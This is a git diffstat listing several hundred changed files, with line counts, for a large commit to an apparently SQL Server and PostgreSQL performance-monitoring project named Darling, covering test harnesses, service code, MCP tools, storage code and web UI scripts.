 .../Darling.Tests/WpfExitSwitchPinTests.cs    |   50 +
 Darling/Darling.Tests/WpfExitSwitchTests.cs   |  135 +
 .../XamlStaticResourceHygieneTests.cs         |    2 +
 .../XeSessionMissingWarningTests.cs           |  168 +
 .../admin-server-edit-harness.mjs             | 1129 ++++
 .../alert-history-advice-harness.mjs          |  215 +
 .../alert-history-dismiss-harness.mjs         |  266 +
 .../alert-history-range-harness.mjs           |  212 +
 .../analysis-findings-harness.mjs             |  160 +
 .../finops-index-analysis-limit-harness.mjs   |  173 +
 .../finops-locking-detail-harness.mjs         |  237 +
 .../finops-locking-heat-harness.mjs           |  136 +
 .../finops-locking-picker-harness.mjs         |  250 +
 .../finops-postgres-target-harness.mjs        |  147 +
 .../finops-storage-growth-window-harness.mjs  |  154 +
 .../finops-window-picker-harness.mjs          |  151 +
 Darling/Darling.Tests/job-history-harness.mjs |  322 +
 Darling/Darling.Tests/manage-tags-harness.mjs |  437 ++
 Darling/Darling.Tests/mute-rules-harness.mjs  |  100 +
 Darling/Darling.Tests/packages.lock.json      |  179 +-
 Darling/Darling.Tests/page-range-harness.mjs  |  118 +
 Darling/Darling.Tests/sidebar-harness.mjs     |  286 +
 Darling/Darling.Tests/status-bar-harness.mjs  |   99 +
 Darling/Darling.Tests/time-range-harness.mjs  |   47 +
 .../time-range-picker-harness.mjs             |  289 +
 .../top-ranking-notice-harness.mjs            |  152 +
 Darling/Darling.Tests/view-scope-harness.mjs  |   79 +
 .../viewer-local-blank-harness.mjs            |   18 +
 .../Darling.Tests/viewer-local-harness.mjs    |  184 +
 .../web-blocking-save-xml-harness.mjs         |  176 +
 .../web-blocking-source-harness.mjs           |  160 +
 .../web-chart-at-time-harness.mjs             |  444 ++
 .../web-chart-legend-harness.mjs              |  322 +
 .../Darling.Tests/web-chart-menu-harness.mjs  |  177 +
 .../Darling.Tests/web-chart-width-harness.mjs |  630 ++
 .../Darling.Tests/web-chart-zoom-harness.mjs  |  209 +
 .../web-clickthrough-pick-harness.mjs         |  301 +
 .../web-clickthrough-stale-harness.mjs        |  176 +
 .../web-collection-caveats-harness.mjs        |  136 +
 .../web-collector-run-history-harness.mjs     |  162 +
 .../web-column-groups-harness.mjs             |  124 +
 .../web-compose-notice-harness.mjs            |  127 +
 .../web-database-filter-chips-harness.mjs     |  288 +
 .../web-database-filter-harness.mjs           |  333 +
 .../web-database-filter-picker-harness.mjs    |  442 ++
 .../web-deadlock-graph-harness.mjs            |  161 +
 .../web-deadlock-processes-harness.mjs        |  235 +
 .../web-fleet-silence-harness.mjs             |  198 +
 .../web-gated-collectors-harness.mjs          |  117 +
 .../web-grid-adoption-harness.mjs             |  280 +
 .../Darling.Tests/web-grid-filter-harness.mjs |  238 +
 .../Darling.Tests/web-grid-sort-harness.mjs   |  138 +
 .../Darling.Tests/web-grid-tools-harness.mjs  |  156 +
 .../web-grid-value-filter-harness.mjs         |  560 ++
 .../web-kept-history-harness.mjs              |  572 +-
 .../web-memory-pressure-harness.mjs           |  173 +
 .../web-page-refresh-harness.mjs              |  259 +
 Darling/Darling.Tests/web-perfmon-harness.mjs |   16 +-
 .../web-perfmon-multi-harness.mjs             |  431 ++
 .../web-pg-plan-viewer-harness.mjs            |  152 +
 Darling/Darling.Tests/web-picker-driver.mjs   |   78 +
 .../Darling.Tests/web-plain-text-harness.mjs  |   11 +
 .../Darling.Tests/web-plan-row-harness.mjs    |  109 +
 .../Darling.Tests/web-plan-viewer-harness.mjs |  628 ++
 .../Darling.Tests/web-qs-grids-harness.mjs    |  141 +
 .../Darling.Tests/web-qs-history-harness.mjs  |  352 ++
 .../web-release-walk-harness.mjs              |  173 +
 .../Darling.Tests/web-scheduler-harness.mjs   |   32 +
 .../web-server-trends-harness.mjs             |  290 +
 .../web-wait-queries-link-harness.mjs         |  329 +
 .../web-waits-activity-trends-harness.mjs     |  258 +
 Darling/Darling.Tests/web-waits-harness.mjs   |  422 ++
 .../AnalysisStatementText.cs                  |   44 +
 .../DarlingAnalysisService.cs                 |   51 +-
 .../PgAnomalyDetector.cs                      |    4 +
 .../PgBlockingPairRowQuery.cs                 |  103 +-
 .../PgDrillDownCollector.Blocking.cs          |   69 +-
 .../PgDrillDownCollector.Config.cs            |    3 +
 .../PgDrillDownCollector.Plans.cs             |    6 +-
 .../PgDrillDownCollector.Queries.cs           |  181 +-
 .../PgDrillDownCollector.Storage.cs           |    3 +
 .../PgDrillDownCollector.cs                   |    2 +-
 .../PgFactCollector.Activity.cs               |    7 +-
 .../PgFactCollector.Config.cs                 |    4 +
 .../PgFactCollector.QueryPerf.cs              |  200 +-
 .../PgFactCollector.Resources.cs              |   55 +-
 .../PgFactCollector.Storage.cs                |  123 +-
 .../PgFactCollector.cs                        |    4 +-
 .../PgFindingStore.cs                         |    7 +-
 .../PgPileupSnapshotReader.cs                 |   18 +-
 .../PgSecondaryReplicaScope.cs                |  150 +
 .../PgTargetDrillDownCollector.Deadlocks.cs   |   28 +-
 .../PgTargetDrillDownCollector.Queries.cs     |   18 +-
 .../PgTargetFactCollector.Plans.cs            |    6 +-
 .../AlertNotebookEndpoint.cs                  |   12 +-
 .../CollectionHistoryAudit.cs                 |  466 ++
 .../CollectorFaultDatabase.cs                 |    5 +-
 .../CollectorFaultStackLog.cs                 |   95 +
 .../Compose/ComposeCompiler.cs                |  824 ++-
 .../Compose/ComposeServerScope.cs             |   86 +
 .../Compose/ComposeSourceRouter.cs            |  209 +-
 .../Compose/ComposeSpec.cs                    |   61 +
 .../Compose/ComposeStoreAvailability.cs       |  137 +-
 .../Compose/QueryStoreGroupMembers.cs         |  157 +
 .../Compose/QueryStoreWideReadGuard.cs        |  178 +
 .../CustomAlertEvaluator.cs                   |   46 +-
 .../CustomAlertRuleStore.cs                   |    4 +-
 .../DailyRunLimiter.cs                        |  197 +
 .../DailyRunWatch.cs                          |   77 +
 .../DarlingAdminServersReader.cs              |  245 +
 .../DarlingAlertDeliverer.cs                  |    6 +
 .../DarlingAlertReadAdapter.cs                |    9 +-
 .../DarlingAlertSettings.cs                   |  132 +-
 .../DarlingAlwaysOnXeSessions.cs              |  199 +
 .../DarlingCliCommands.cs                     | 1343 +++-
 .../DarlingCliSealKey.cs                      |  231 +
 .../DarlingCollectorRunner.cs                 | 1228 +++-
 .../DarlingCommandExecutor.cs                 |  178 +-
 .../DarlingConfig.cs                          |  472 +-
 .../DarlingFileSecurity.cs                    |   63 +-
 .../DarlingFindingAlertSender.cs              |    9 +
 .../DarlingFirewallCheck.cs                   |    2 +-
 .../DarlingFleetSweepEndpoints.cs             |   20 +-
 .../DarlingHeartbeat.cs                       |  664 ++
 .../DarlingLegacyLongQuerySession.cs          |  341 +
 .../DarlingLogHashKeyFile.cs                  |  248 +-
 .../DarlingManagedPostgres.cs                 |  434 +-
 .../DarlingManagedRoles.cs                    | 1206 +++-
 .../DarlingNetworkConfigEditor.cs             |   37 +-
 .../DarlingOwnedSecrets.cs                    |  732 +++
 .../DarlingPasswordKeyFile.cs                 |  418 ++
 .../DarlingPasswordKeyRuntime.cs              |  576 ++
 .../DarlingPasswordKeySelfCheck.cs            |  455 ++
 .../DarlingPasswordKeyState.cs                |  230 +
 .../DarlingPasswordKeyStore.cs                |  496 ++
 .../DarlingRemovedServerSessions.cs           |  267 +
 .../DarlingRetention.cs                       |  513 +-
 .../DarlingSecretSource.cs                    |   15 +
 .../DarlingSecrets.cs                         |  273 +-
 .../DarlingSelfAlertEvaluator.cs              | 1089 +++-
 .../DarlingServerConnector.cs                 |   32 +-
 .../DarlingServerDatabasesEndpoint.cs         |  185 +
 .../DarlingServiceKeyFile.cs                  |  522 ++
 .../DarlingStoreHostProfile.cs                |  159 +-
 .../DarlingTriageEndpoint.cs                  |   26 +-
 .../DarlingUnknownKeys.cs                     |  117 +
 .../DarlingWebDeadlockGraph.cs                |  214 +
 .../DarlingWebEndpoints.cs                    | 3237 +++++++++-
 .../DarlingWebStatementSweep.cs               |   71 +
 .../DarlingWebhookSecrets.cs                  |  211 +
 .../DarlingWorker.cs                          | 4029 ++++++++++--
 .../DarlingXeSessionCleanup.cs                |  826 ++-
 .../DarlingXeSessions.cs                      | 1318 ++--
 .../DatabaseWatermarkCache.cs                 |    4 +-
 .../DeadlockDuplicateCleanup.cs               |   13 +-
 .../DiagnosticsBundle.cs                      | 1243 ++++
 .../DiagnosticsBundleAliaser.cs               | 1059 ++++
 .../DiagnosticsBundleRunner.cs                |  634 ++
 .../DiagnosticsBundleServiceLog.cs            |  245 +
 .../FleetGateStats.cs                         |  311 +-
 .../Hosting/CidrAllowList.cs                  |  305 +
 .../Hosting/DarlingHostBinding.cs             |   53 +-
 .../Hosting/DarlingHttpRefusalLog.cs          |   17 +-
 .../Hosting/DarlingListenerTls.cs             |  674 ++
 .../Hosting/DarlingWebFailureLog.cs           |  120 +-
 .../Hosting/DarlingWebFailureObserver.cs      |  120 +
 .../Hosting/DarlingWebTls.cs                  |   83 +-
 .../LaunchMemoryGuard.cs                      |  429 ++
 .../ManagedConfFile.cs                        |   48 +-
 .../ManagedConfMigration.cs                   |   62 +-
 .../Mcp/DarlingAgReader.cs                    |  171 +-
 .../Mcp/DarlingAlertReader.cs                 |   42 +-
 .../Mcp/DarlingBlockingReader.cs              |  272 +-
 .../Mcp/DarlingBlockingTrendReader.cs         |   42 +-
 .../Mcp/DarlingCollectionCaveatReader.cs      |  118 +
 .../Mcp/DarlingCollectorRunTimeReader.cs      |  250 +
 .../Mcp/DarlingConfigHistoryReader.cs         |   16 +-
 .../Mcp/DarlingCurrentConfigReader.cs         |   23 +
 .../Mcp/DarlingDataReader.cs                  | 2347 +++++--
 .../Mcp/DarlingDeadlockProcessRows.cs         |   91 +
 .../Mcp/DarlingDefaultTraceReader.cs          |   19 +-
 .../Mcp/DarlingEngineCapability.cs            |    2 +-
 .../Mcp/DarlingFleetReader.cs                 |  245 +-
 .../Mcp/DarlingGatedCollectorRows.cs          |  164 +
 .../Mcp/DarlingJobReader.cs                   |  240 +-
 .../Mcp/DarlingLatchSpinlockReader.cs         |   95 +-
 .../Mcp/DarlingLongQueryReader.cs             |   11 +-
 .../Mcp/DarlingMcpAgTools.cs                  |    4 +-
 .../Mcp/DarlingMcpAlertTools.cs               |   91 +-
 .../Mcp/DarlingMcpBlockingTools.cs            |  334 +-
 .../Mcp/DarlingMcpConfigHistoryTools.cs       |  184 +-
 .../Mcp/DarlingMcpConfigTools.cs              |   28 +-
 .../Mcp/DarlingMcpCustomViewTools.cs          |   23 +-
 .../Mcp/DarlingMcpDataTools.cs                |  803 ++-
 .../Mcp/DarlingMcpDefaultTraceTools.cs        |   69 +-
 .../Mcp/DarlingMcpFinOpsInventoryTools.cs     |  166 +
 .../DarlingMcpFinOpsRecommendationsTools.cs   |  124 +
 ...ngMcpFinOpsTools.ApplicationConnections.cs |   97 +
 ...DarlingMcpFinOpsTools.DatabaseResources.cs |  117 +
 .../DarlingMcpFinOpsTools.DatabaseSizes.cs    |  115 +
 .../Mcp/DarlingMcpFinOpsTools.HighImpact.cs   |   74 +
 .../DarlingMcpFinOpsTools.IndexAnalysis.cs    |  294 +
 .../Mcp/DarlingMcpFinOpsTools.Optimization.cs |  238 +
 .../DarlingMcpFinOpsTools.StorageGrowth.cs    |  342 +
 .../Mcp/DarlingMcpFinOpsTools.Utilization.cs  |  122 +
 .../Mcp/DarlingMcpFinOpsTools.cs              |  167 +
 .../Mcp/DarlingMcpHealthParserTools.cs        |  255 +-
 .../Mcp/DarlingMcpHostService.cs              |  723 ++-
 .../Mcp/DarlingMcpInstructions.cs             |    8 +-
 .../Mcp/DarlingMcpJobTools.cs                 |  176 +-
 .../Mcp/DarlingMcpLatchSpinlockTools.cs       |   35 +-
 .../Mcp/DarlingMcpLongQueryTools.cs           |   90 +-
 .../Mcp/DarlingMcpMemoryGrantTools.cs         |   36 +-
 .../Mcp/DarlingMcpObjectStatsTools.cs         |  346 +-
 .../Mcp/DarlingMcpPgBlockingTools.cs          |   38 +-
 .../Mcp/DarlingMcpPgCpuUtilizationTools.cs    |   42 +-
 .../Mcp/DarlingMcpPgDatabaseTools.cs          |   48 +-
 .../Mcp/DarlingMcpPgDeadlockTools.cs          |   26 +-
 .../Mcp/DarlingMcpPgIndexTools.cs             |    5 +
 .../Mcp/DarlingMcpPgIndexUsageTools.cs        |   64 +-
 .../Mcp/DarlingMcpPgIoTools.cs                |   26 +-
 .../Mcp/DarlingMcpPgKernelStatsTools.cs       |   40 +-
 .../Mcp/DarlingMcpPgLogEventTools.cs          |   26 +-
 .../Mcp/DarlingMcpPgPlanTools.cs              |   27 +-
 .../Mcp/DarlingMcpPgPredicateTools.cs         |   36 +-
 .../Mcp/DarlingMcpPgReplicationStatsTools.cs  |   45 +-
 .../Mcp/DarlingMcpPgServerStateTools.cs       |  114 +-
 .../Mcp/DarlingMcpPgSessionStatesTools.cs     |   50 +-
 .../Mcp/DarlingMcpPgStatementTools.cs         |   26 +-
 .../Mcp/DarlingMcpPgTrendTools.cs             |   10 +-
 .../Mcp/DarlingMcpPgWaitSamplingTools.cs      |   60 +-
 .../Mcp/DarlingMcpPgWaitTools.cs              |   27 +-
 .../Mcp/DarlingMcpPgWraparoundTools.cs        |    9 +-
 .../Mcp/DarlingMcpPgXminTools.cs              |   35 +-
 .../Mcp/DarlingMcpPlanCorrectionTools.cs      |   71 +-
 .../Mcp/DarlingMcpPlanTools.cs                |  389 +-
 .../Mcp/DarlingMcpPvsTools.cs                 |   78 +-
 .../Mcp/DarlingMcpQueryHeatmapTools.cs        |   70 +-
 .../Mcp/DarlingMcpQueryStoreClutterTools.cs   |   72 +-
 .../Mcp/DarlingMcpQueryStoreHistoryTools.cs   |  359 ++
 .../DarlingMcpQueryStoreRegressionTools.cs    |  113 +-
 .../Mcp/DarlingMcpReadLatencyTools.cs         |  104 +-
 .../Mcp/DarlingMcpServerAdminTools.Edit.cs    | 1304 ++++
 .../Mcp/DarlingMcpServerAdminTools.cs         |  558 +-
 .../Mcp/DarlingMcpServerTagTools.cs           |  662 ++
 .../Mcp/DarlingMcpServerTrendTools.cs         |  484 ++
 .../Mcp/DarlingMcpSessionTools.cs             |  201 +-
 .../Mcp/DarlingMcpSlowReadTools.cs            |  256 +
 .../Mcp/DarlingMcpStallProbeTools.cs          |    6 +-
 .../Mcp/DarlingMcpStoreLogTools.cs            |    2 +-
 .../Mcp/DarlingMcpStoreMetricsTools.cs        |    2 +-
 .../Mcp/DarlingMcpStoreQueryHistoryTools.cs   |  597 ++
 .../Mcp/DarlingMcpStoreQueryStatsTools.cs     |   27 +-
 .../Mcp/DarlingMcpTools.cs                    |   62 +-
 .../Mcp/DarlingMcpTrendTools.cs               |  193 +-
 .../Mcp/DarlingMcpWindowNotice.cs             |  306 +
 .../Mcp/DarlingObjectStatsReader.cs           |  191 +-
 .../Mcp/DarlingOversizedPlanBacklogReader.cs  |    4 +-
 .../Mcp/DarlingPlanCorrectionReader.cs        |   22 +-
 .../Mcp/DarlingPvsReader.cs                   |   44 +-
 .../Mcp/DarlingQueryHeatmapReader.cs          |   43 +-
 .../Mcp/DarlingQueryStoreRegressionReader.cs  |   23 +-
 .../Mcp/DarlingReadLatencyReader.cs           |   14 +-
 .../Mcp/DarlingReproScript.cs                 |  139 +
 .../Mcp/DarlingRuntimePrecondition.cs         |   52 +-
 .../Mcp/DarlingServerResolver.cs              |   11 +-
 .../Mcp/DarlingSessionReader.cs               |  104 +-
 .../Mcp/DarlingSlowReadReader.cs              |  160 +
 .../Mcp/DarlingStoredPlanReader.cs            |  488 +-
 .../Mcp/DarlingSystemHealthReader.cs          |   53 +-
 .../Mcp/DarlingTrendReader.cs                 |  280 +-
 .../Mcp/DarlingWebHostService.cs              |  697 ++-
 .../Mcp/DarlingWebSecurityHeaders.cs          |  154 +
 .../Mcp/GcfCallToolFilter.cs                  |   17 +-
 .../Mcp/GcfOutput.cs                          |    4 +-
 .../Mcp/IGcfOutputFormat.cs                   |   19 +
 .../Mcp/ListenerTlsCertificateState.cs        |  139 +
 .../Mcp/McpCommandDeadlines.cs                |    2 +-
 .../Mcp/McpTlsCertificateState.cs             |   23 +
 .../Mcp/McpToolLatencyFilter.cs               |   49 +-
 .../Mcp/TopRanking.cs                         |  232 +
 .../Mcp/WebTlsCertificateState.cs             |   47 +-
 .../OversizedPlanBacklogSweep.cs              |  153 +-
 .../PerformanceMonitor.Darling.Service.csproj |    1 +
 .../PgAlertHistoryStore.cs                    |    8 +-
 .../PgDeadlockRemask.cs                       |  548 +-
 .../PgStatementTextScrub.cs                   |   27 +-
 .../PlanDigestCache.cs                        |  209 +
 .../PostgresOpenTimeout.cs                    |  114 +
 .../ProcedureStatsPlanKey.cs                  |  165 +
 .../ProcedureStatsPlanReuse.cs                |  449 ++
 .../Program.cs                                |   72 +-
 .../QueryStatsPlanKey.cs                      |  101 +
 .../QueryStoreBackfill.cs                     |  276 +-
 .../QueryStoreIntervalFloorWarmUp.cs          |  259 +
 .../QueryStoreWriteFence.cs                   |   79 +-
 .../ReadLatencyAccumulator.cs                 |   27 +-
 .../ReadLatencyRecorder.cs                    |   13 +-
 .../ReadScope.cs                              |  287 +
 .../ReadStatementCapture.cs                   |  129 +
 .../RetentionCollectionYield.cs               |  500 ++
 .../RetentionWalPacer.cs                      |    7 +
 .../SecretTextGuard.cs                        |  144 +
 .../SelfAlertDeliveryStampStore.cs            |    4 +
 .../ServiceCommandDeadlines.cs                |   29 +-
 .../SlowReadLog.cs                            |  521 ++
 .../StallWaitProbeRunner.cs                   |    8 +-
 .../StoreConfigProvider.cs                    |  618 +-
 .../TargetSessionIdCache.cs                   |  213 +
 .../Targets/AwsAssumedRoleCredentials.cs      |  441 ++
 .../Targets/AwsRoleAllowlist.cs               |  190 +
 .../Targets/AwsRoleAssumeException.cs         |  280 +
 .../Targets/AwsRoleClients.cs                 |   65 +
 .../Targets/AwsRoleCredentialCache.cs         |  129 +
 .../Targets/AwsRoleKey.cs                     |   43 +
 .../Targets/PostgresTargetProvider.cs         |    5 +-
 .../Targets/RdsCpuIngestor.cs                 |   42 +-
 .../Targets/RdsCsvlogCarry.cs                 |   29 +-
 .../Targets/RdsDeadlockCarry.cs               |   29 +-
 .../Targets/RdsDeadlockIngestor.cs            |   25 +-
 .../Targets/RdsEndpointVerifier.cs            |  375 ++
 .../Targets/RdsLogEventIngestor.cs            |   25 +-
 .../Targets/RdsLogSource.cs                   |  129 +-
 .../Targets/RdsPlanIngestor.cs                |   31 +-
 .../Targets/SqlServerTargetProvider.cs        |    2 +-
 .../WebDataStartNote.cs                       |  906 +++
 .../WebReadReach.cs                           |  244 +
 .../XeSessionMissingWarnings.cs               |   41 +
 .../darling.sample.json                       |   90 +-
 .../wwwroot/css/app.css                       |  254 +-
 .../wwwroot/css/theme.css                     |   35 +
 .../wwwroot/css/time-range.css                |   70 +
 .../wwwroot/index.html                        |   11 +-
 .../wwwroot/js/alert-editor.js                |   62 +-
 .../wwwroot/js/app.js                         |  280 +-
 .../wwwroot/js/charts.js                      | 1790 ++++--
 .../wwwroot/js/compose.js                     |  150 +-
 .../wwwroot/js/database-filter-reads.js       |   80 +
 .../wwwroot/js/editor.js                      |   32 +-
 .../wwwroot/js/fleet-groups.js                |  123 +
 .../wwwroot/js/grid-tools.js                  |   92 +
 .../wwwroot/js/grid-value-filter.js           |  235 +
 .../wwwroot/js/multi-picker.js                |  217 +
 .../wwwroot/js/mute-context.js                |   87 +
 .../wwwroot/js/page-range.js                  |  175 +
 .../wwwroot/js/pages/admin.js                 | 1204 ++++
 .../wwwroot/js/pages/ag.js                    |   33 +-
 .../wwwroot/js/pages/alerts.js                |  453 +-
 .../wwwroot/js/pages/analysis-findings.js     |  210 +
 .../wwwroot/js/pages/database-filter.js       |  270 +
 .../wwwroot/js/pages/deadlock-graph.js        |  336 +
 .../wwwroot/js/pages/finops.js                |  236 +
 .../pages/finops/application-connections.js   |   72 +
 .../wwwroot/js/pages/finops/database-box.js   |  174 +
 .../js/pages/finops/database-resources.js     |   71 +
 .../wwwroot/js/pages/finops/database-sizes.js |   92 +
 .../wwwroot/js/pages/finops/gate.js           |   43 +
 .../wwwroot/js/pages/finops/high-impact.js    |   86 +
 .../wwwroot/js/pages/finops/index-analysis.js |  191 +
 .../wwwroot/js/pages/finops/locking.js        |  212 +
 .../wwwroot/js/pages/finops/optimization.js   |  160 +
 .../js/pages/finops/recommendations.js        |   66 +
 .../js/pages/finops/server-inventory.js       |  117 +
 .../wwwroot/js/pages/finops/storage-growth.js |  274 +
 .../wwwroot/js/pages/finops/utilization.js    |  245 +
 .../wwwroot/js/pages/finops/version-store.js  |  107 +
 .../wwwroot/js/pages/finops/window.js         |   55 +
 .../wwwroot/js/pages/fleet.js                 |  277 +-
 .../wwwroot/js/pages/job-history.js           |  400 ++
 .../wwwroot/js/pages/manage-tags.js           |  555 ++
 .../wwwroot/js/pages/mute-rules.js            |  377 ++
 .../wwwroot/js/pages/pg-plan-viewer.js        |  152 +
 .../wwwroot/js/pages/plan-viewer.js           |  654 ++
 .../wwwroot/js/pages/query-store-history.js   |  255 +
 .../wwwroot/js/pages/server-tab-reach.js      |  151 +
 .../wwwroot/js/pages/server-tabs.js           | 2189 +++++--
 .../wwwroot/js/pages/server.js                |  348 +-
 .../wwwroot/js/pages/sweeps.js                |  211 +-
 .../wwwroot/js/pages/views.js                 |  239 +-
 .../wwwroot/js/panels.js                      | 1071 +++-
 .../wwwroot/js/plain-text.js                  |  198 +
 .../wwwroot/js/plan-row.js                    |  139 +
 .../wwwroot/js/read-fields.js                 |   23 +-
 .../wwwroot/js/refresh-control.js             |   36 +-
 .../wwwroot/js/refresh-policy.js              |   37 +-
 .../wwwroot/js/server-order.js                |   56 +
 .../wwwroot/js/sidebar.js                     |  147 +
 .../wwwroot/js/time-range-picker.js           |  363 ++
 .../wwwroot/js/time-range.js                  |  920 +++
 .../wwwroot/js/util.js                        |  572 +-
 .../wwwroot/js/viewer-local-ui.js             |  106 +
 .../wwwroot/js/viewer-local.js                |  411 ++
 .../AlertDismissStore.cs                      |  159 +
 .../AwsRoleSettings.cs                        |  170 +
 .../BoundedDdlBusyStreaks.cs                  |   90 +
 .../CollectedDatabases.cs                     |   78 +
 .../DarlingJobHistoryReader.cs                |  414 ++
 .../DarlingModuleMap.cs                       |  338 +-
 .../DarlingPgIoReader.cs                      |   72 +-
 .../DarlingPgPlanCaptureReader.cs             |   82 +-
 .../DarlingPgTrendReader.cs                   |   41 +-
 .../DarlingQueryStoreClutterReader.cs         |   29 +-
 .../DarlingServerClocksReader.cs              |   84 +
 .../DataWindowFloor.cs                        |  521 ++
 .../DatabaseFilter.cs                         |  156 +
 .../DatabaseNameHistoryReader.cs              |  181 +
 .../DurationTrendRouting.cs                   |  457 +-
 ...rlingFinOpsApplicationConnectionsReader.cs |  104 +
 .../DarlingFinOpsDatabaseResourcesReader.cs   |  382 ++
 .../DarlingFinOpsDatabaseSizesReader.cs       |   94 +
 .../FinOps/DarlingFinOpsHighImpactReader.cs   |  136 +
 .../DarlingFinOpsIndexAnalysisReader.cs       |  461 ++
 .../FinOps/DarlingFinOpsInventoryReader.cs    |  585 ++
 .../FinOps/DarlingFinOpsOptimizationReader.cs |  399 ++
 .../DarlingFinOpsRecommendationsReader.cs     |  630 ++
 .../DarlingFinOpsStorageGrowthReader.cs       |  632 ++
 .../FinOps/DarlingFinOpsUtilizationReader.cs  |  364 ++
 .../FinOps/FinOpsCost.cs                      |   31 +
 .../FinOps/FinOpsInventoryFigures.cs          |   52 +
 .../FinOps/FinOpsRecommendationFigures.cs     |  582 ++
 .../FinOps/FinOpsRollupRouting.cs             |   31 +
 .../FinOps/FinOpsScoring.cs                   |  141 +
 .../FinOps/FinOpsUtilizationFigures.cs        |  190 +
 .../FinOps/IndexCleanupRollupFigures.cs       |   23 +
 .../HourlyWindowEdges.cs                      |   25 +-
 .../IntervalRollupCountGuard.cs               |   77 +
 .../IntervalRollupRestartRows.cs              |   42 +
 .../LegacyPinCandidateTables.cs               |  116 +
 .../OversizedPlanBacklog.cs                   |  128 +-
 .../PasswordBinding.cs                        |  194 +
 .../PasswordKeyTables.cs                      |  259 +
 .../PasswordSeal.cs                           |  507 ++
 .../PayloadDimensionBatch.cs                  |   44 +-
 .../PayloadDimensionWriter.cs                 |   60 +-
 .../PayloadDimensions.cs                      |   51 +
 .../PerfmonRegroupDrain.cs                    |  400 ++
 .../PerformanceMonitor.Darling.Storage.csproj |    2 +
 .../PgCollectorRowWriter.cs                   |  137 +-
 .../PgIoStatsHourly.cs                        |  301 +
 .../PgIoStatsHourlyBuilder.cs                 |  322 +
 .../PgMigrations.cs                           |  894 ++-
 .../PgStatementText.cs                        |   30 +
 .../PgTableTuning.cs                          |  341 +-
 .../PlanRegressionDaily.cs                    |  453 ++
 .../QueryStatsHourLedger.cs                   |  163 +
 .../QueryStatsHourLedgerWriter.cs             |  122 +
 .../QueryStoreBackgroundIndexes.cs            |  563 ++
 .../QueryStoreComposeStamp.cs                 |  942 +++
 .../QueryStoreIntervalBrin.cs                 |  550 ++
 .../QueryStoreIntervalLatest.cs               |  131 +-
 .../QueryStoreIntervalPartitions.cs           | 1683 +++++
 .../QueryStoreIntervalWide.cs                 |  243 +-
 .../QueryStoreIntervalWideBrinIndex.cs        |  210 +-
 .../QueryStorePlanWriter.cs                   |   31 +-
 .../QueryStoreTextWriter.cs                   |   63 +-
 .../QueryStoreTopDaily.cs                     |  394 ++
 .../RawWindowFloor.cs                         |  139 +-
 .../RollupCoverageWarmup.cs                   |   77 +
 .../ServerConnectionIdentity.cs               |   53 +
 .../ServerConnectionRule.cs                   |   40 +
 .../ServerScopeSql.cs                         |   29 +
 .../ServerTagCoverage.cs                      |  159 +
 .../ServerTagRules.cs                         |  335 +
 .../ServerTagStore.cs                         |  558 ++
 .../ServerTrendSql.cs                         |  576 ++
 .../StorageVersion.cs                         |    2 +-
 .../StoreInstallId.cs                         |  449 ++
 .../StoreLogClassifier.cs                     |  212 +-
 .../StoreLogSweep.cs                          |   25 +-
 .../StoreSelfMetrics.cs                       |   93 +-
 .../StoreStatementHistory.cs                  |  461 ++
 .../StoreStatementStats.cs                    |   15 +-
 .../TimescaleSupport.MaterializationHoles.cs  |   47 +-
 .../TimescaleSupport.cs                       | 2222 ++++++-
 .../TopFill.cs                                |  124 +
 .../ViewerEventDataStart.cs                   |  120 +
 .../AddMultipleServersDialog.xaml.cs          |  108 +-
 .../AddServerDialog.xaml                      |   17 +
 .../AddServerDialog.xaml.cs                   |  269 +-
 .../AlertsHistoryTab.xaml                     |   14 +-
 .../AlertsHistoryTab.xaml.cs                  |   47 +-
 .../App.xaml.cs                               |   11 +
 .../CollectionLogWindow.xaml                  |    5 +
 .../CollectionLogWindow.xaml.cs               |   38 +-
 .../CollectorDurationSeries.cs                |   66 +
 .../CollectorScheduleEditorWindow.xaml        |   23 +-
 .../CollectorScheduleEditorWindow.xaml.cs     |  227 +-
 .../CollectorScheduleOverlay.cs               |  304 +-
 .../CollectorSchedulePresets.cs               |    9 +
 .../CollectorScheduleRunAtText.cs             |  164 +
 .../CorrelatedTimelineLanesControl.xaml       |   17 +-
 .../CorrelatedTimelineLanesControl.xaml.cs    |   33 +-
 .../DataGridHeaderFit.cs                      |   70 +
 .../FinOpsServerChoice.cs                     |  101 +
 .../FinOpsTab.IndexAnalysis.cs                |    7 +-
 .../FinOpsTab.Loaders.cs                      |  148 +-
 .../FinOpsTab.Locking.cs                      |    6 +-
 .../FinOpsTab.ObjectHeatmap.cs                |   23 +-
 .../FinOpsTab.Recommendations.cs              |    5 +-
 .../FinOpsTab.xaml                            |   80 +-
 .../FinOpsTab.xaml.cs                         |   94 +-
 .../FleetRow.cs                               |   10 +
 .../JobHistoryTab.xaml                        |   26 +-
 .../JobHistoryTab.xaml.cs                     |  103 +-
 .../MainWindow.ServerManagement.cs            |   18 +-
 .../MainWindow.Tags.cs                        |   26 +-
 .../MainWindow.xaml                           |   41 +-
 .../MainWindow.xaml.cs                        |  160 +-
 .../ManageTagsWindow.xaml.cs                  |   21 +-
 .../MuteRuleEditDialog.xaml.cs                |    6 +-
 .../NotificationRouteEditDialog.xaml.cs       |   34 +-
 .../NotificationRoutesWindow.xaml.cs          |   35 +-
 .../OverviewCardView.cs                       |  124 +
 .../PasswordKeyChangedDialog.xaml             |   40 +
 .../PasswordKeyChangedDialog.xaml.cs          |   42 +
 .../ProcedureHistoryWindow.xaml.cs            |   16 +-
 .../QueryStatsHistoryWindow.xaml.cs           |    3 +
 .../QueryStoreHistoryWindow.xaml.cs           |    9 +-
 .../RecommendationsViewModel.cs               |   21 +-
 .../SettingsWindow.xaml                       |   30 +-
 .../SettingsWindow.xaml.cs                    |  269 +-
 .../Themes/CoolBreezeTheme.xaml               |   33 +-
 .../Themes/DarkTheme.xaml                     |   33 +-
 .../Themes/LightTheme.xaml                    |   33 +-
 .../TimeRangeSlicerControl.xaml.cs            |   49 +-
 .../ViewerActualPlanFlow.cs                   |    2 +
 .../ViewerBlockingChartsDataStart.cs          |   25 +
 .../ViewerBlockingLaneDataStart.cs            |   64 +
 .../ViewerControlPlaneMigration.cs            |  139 +-
 .../ViewerDataService.AlertHistory.cs         |  117 +-
 .../ViewerDataService.AvailabilityGroups.cs   |    2 +-
 .../ViewerDataService.Blocking.cs             |  208 +-
 .../ViewerDataService.BlockingStats.cs        |   24 +-
 .../ViewerDataService.BlockingTrends.cs       |   36 +-
 .../ViewerDataService.CollectionHealth.cs     |  725 ++-
 .../ViewerDataService.CollectorSchedules.cs   |  365 +-
 .../ViewerDataService.Commands.cs             |    2 +-
 .../ViewerDataService.Config.cs               |   54 +-
